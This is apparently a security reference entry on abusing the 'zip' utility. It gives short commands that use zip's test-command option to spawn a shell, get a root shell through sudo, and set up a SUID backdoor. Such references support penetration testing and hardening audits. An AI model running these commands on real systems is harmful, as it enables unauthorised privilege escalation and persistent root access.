.. / zip

Star

• Shell
• Sudo
• Limited SUID

Shell

It can be used to break out from restricted environments by spawning an interactive system shell.

• TF=$(mktemp -u)
  zip $TF /etc/hosts -T -TT 'sh #'
  rm $TF

Sudo

It runs in privileged context and may be used to access the file system, escalate or maintain access with elevated privileges if enabled on sudo.

• TF=$(mktemp -u)
  sudo zip $TF /etc/hosts -T -TT 'sh #'
  sudo rm $TF

Limited SUID

It runs with the SUID bit set and may be exploited to access the file system, escalate or maintain access with elevated privileges working as a SUID backdoor. If it is used to run commands it only works on systems like Debian that allow the default sh shell to run with SUID privileges.

• sudo sh -c 'cp $(which zip) .; chmod +s ./zip'
  
  TF=$(mktemp -u)
  ./zip $TF /etc/hosts -T -TT 'sh #'
  sudo rm $TF